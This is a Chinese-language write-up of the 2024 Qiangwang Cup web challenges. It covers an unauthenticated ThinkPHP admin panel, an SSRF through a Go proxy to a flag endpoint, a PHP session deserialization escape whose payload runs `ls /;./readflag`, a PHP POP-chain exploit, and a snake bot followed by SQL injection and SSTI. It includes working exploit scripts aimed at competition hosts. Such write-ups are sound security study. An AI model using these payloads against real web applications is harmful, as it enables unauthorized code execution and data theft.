2024强网杯web部分
xiaohuanxiong
先初始化网站。然后发现是tp5.多版本,但是不知道怎么用
扫一下目录
经过访问各个页面,最后发现/admin/login/index.html可以登录,但是没有账号
扫一下/admin/目录
进入/admin/admins直接就进后台了,直接添加一个管理员
登录后台 在支付管理里面 可以写代码
bp拦截 会显示flag
Proxy
发现是go写的。
路由/v2/api/proxy
实现 HTTP 请求代理,将请求转发到指定的目标 URL。
路由 /v1/api/flag
用来获取flag的
然后审计代码可以知道 我们可以通过/v2/api/proxy访问/v1/api/flag就能读到flag了
我们看一下代理配置文件
我们要代理到 http://localhost:8769/v1/api/flag
脚本:
import requests
import json
def get_flag_pro():
prox_url="http://39.105.114.252:30793/v2/api/proxy"
headers={
"Content-Type":"application/json"
}
data={
"url":"http://localhost:8769/v1/api/flag",
"method":"POST",
"body":"",
"headers":{
"Content-Type":"application/json"
},
"follow_redirects":False
}
while(1):
response=requests.post(prox_url,headers=headers,data=json.dumps(data))
if response.status_code == 200:
flag= response.json().get("flag")
print(flag)
get_flag_pro()
base64解码即可。
platform
扫一下目录,发现www.zip源码泄露,直接下载
四个php文件 开始分析代码
代码逻辑就是我们随便就能登录一个账号,然后将 user session_key password 三个字段写入到session文件中,其中session_key 随机生成1-50位,其他可控。但是解释器都一样,无法直接打session分序列化,继续分析
在上边的代码中,可以看到会对session文件中的字符串进行替换,这里可以使用逃逸来构造session反序列化,先本地测试一下
可以执行,然后就打远端,但是这里因为session_key 是随机的,所以我们就一直执行脚本,然后session_key 正好为24时候就会执行,简单绕过即可
脚本如下:
from time import sleep
import requests
session = requests.Session()
url1='http://eci-2zedfkwha8kfyk2foyh9.cloudeci1.ichunqiu.com/'
url2='http://eci-2zedfkwha8kfyk2foyh9.cloudeci1.ichunqiu.com/dashboard.php'
cookies = {
'PHPSESSID': '3tk13mkqmstnss2dg7fp0lj30i'
}
data={
'username':'evalevalevalevalevalevalevalevalevalevalevalevalevalevaleval',
'password':';password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";};'
}
while(1):
res=session.post(url=url1,cookies=cookies,data=data)
res2 = session.post(url=url2, cookies=cookies)
if "root" in res2.text:
print(res2.headers['Content-Length'])
print(res2.text)
exit()
Password Game
前面抓包过了密码规则 就能看到代码了
php反序列化,开始分析
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
可以看到输出flag有两个地方 echo md5("hello:".this->value); 和 echo GLOBALS["flag"];。但是经过构造发现并不能成功,然后看到提示说可以改变输出的地方,然后再分析
我们可以通过先实例化root类,然后添加一个password属性,然后root没有password就会调用_call魔术方法,然后通过引用将 $this->value的直接赋给user的username,那么后边在退出时就会进入 __destruct(),然后输出flag的值,因为前边将flag的值赋给了this-->value
因为有绕过,先本地测试。通过经过测试,最终链子如下:
链子:
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class root{
public $username;
public $AA;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
$a = new root();
$a->username = "a";
$a->value = 2024;
$a->AA = new user();
$a->AA ->username = &$a->value;
$a->AA ->password = "Aa93457";
echo serialize($a);
然后还是过密码规则 ,计算算就行了,最后过完规则 直接传入即可。
snake
脚本通关后跳转到Congratulations页面 ,使用bp代理流量 为了好找跳转流量包
import requests
import json
from heapq import heappop, heappush
# Direction constants
DIRECTIONS = {
"UP": (0, -1),
"DOWN": (0, 1),
"LEFT": (-1, 0),
"RIGHT": (1, 0)
}
# Current and last direction
current_direction = "RIGHT"
last_direction = "RIGHT"
# Direction mapping for avoiding backtracking
direction_map = {
"UP": "DOWN",
"DOWN": "UP",
"LEFT": "RIGHT",
"RIGHT": "LEFT"
}
def heuristic(a, b):
"""Calculate the Manhattan distance between two points."""
return abs(a[0] - b[0]) + abs(a[1] - b[1])
def a_star_search(start, goal, grid_size, snake):
"""Perform A* search to find the shortest path to the goal."""
open_set = []
heappush(open_set, (0, start))
came_from = {}
g_score = {start: 0}
f_score = {start: heuristic(start, goal)}
while open_set:
_, current = heappop(open_set)
if current == goal:
path = []
while current in came_from:
path.append(current)
current = came_from[current]
path.reverse()
return path
for direction, (dx, dy) in DIRECTIONS.items():
neighbor = (current[0] + dx, current[1] + dy)
if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
tentative_g_score = g_score[current] + 1
if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
came_from[neighbor] = current
g_score[neighbor] = tentative_g_score
f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
heappush(open_set, (f_score[neighbor], neighbor))
return []
def get_next_direction(snake, food, grid_size):
"""Determine the next direction for the snake to move toward the food."""
global current_direction, last_direction
head_x, head_y = snake[0]['x'], snake[0]['y']
food_x, food_y = food[0], food[1]
# Use A* algorithm to find the path to the food
path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])
if path:
# Get the next move direction
next_x, next_y = path[0]
if next_x > head_x:
return "RIGHT"
elif next_x < head_x:
return "LEFT"
elif next_y > head_y:
return "DOWN"
elif next_y < head_y:
return "UP"
else:
# If no path found, randomly choose a direction (avoiding backtracking)
possible_directions = list(DIRECTIONS.keys())
possible_directions.remove(direction_map[current_direction])
return possible_directions[0]
# URL for making requests
url = "http://eci-2zeirp9f80b0poj4e76p.cloudeci1.ichunqiu.com:5000/move"
# Headers for the request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/json",
"Connection": "close",
"Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
}
def main():
"""Main loop for the snake game."""
global current_direction, last_direction
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
while True:
try:
# Get current game state
response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}),proxies=proxies)
if response.status_code == 200:
game_data = response.json()
# Check game status
if 'status' in game_data:
if game_data['status'] == 'game_over':
print("Game Over!")
print("Final Score:", game_data.get('score', 'Score not provided'))
break
elif game_data['status'] == 'win':
print("Congratulations! You win!")
print("Final Score:", game_data.get('score', 'Score not provided'))
# Extract food and snake positions
food = game_data.get('food', [])
snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
score = game_data.get('score', 0)
grid_size = game_data.get('grid_size', 20) # Default grid size
# Print current game state
print("Food:", food)
print("Snake:", snake)
print("Current Score:", score)
# Calculate the next direction
if food and snake:
next_direction = get_next_direction(snake, food, grid_size)
current_direction = next_direction
else:
print(f"Request failed with status code: {response.status_code}")
print("Response Body:", response.text)
break
except requests.exceptions.RequestException as e:
print(f"Request error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except json.JSONDecodeError as e:
print(f"JSON decode error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except KeyError as e:
print(f"Key error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except Exception as e:
print(f"Unexpected error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
if __name__ == "__main__":
main()
然后测试后 发现存在sql注入 字段为3。
但是测试很多输入了都返回500,最后为第三个字段可以进行ssti注入
读flag
- 感谢你赐予我前进的力量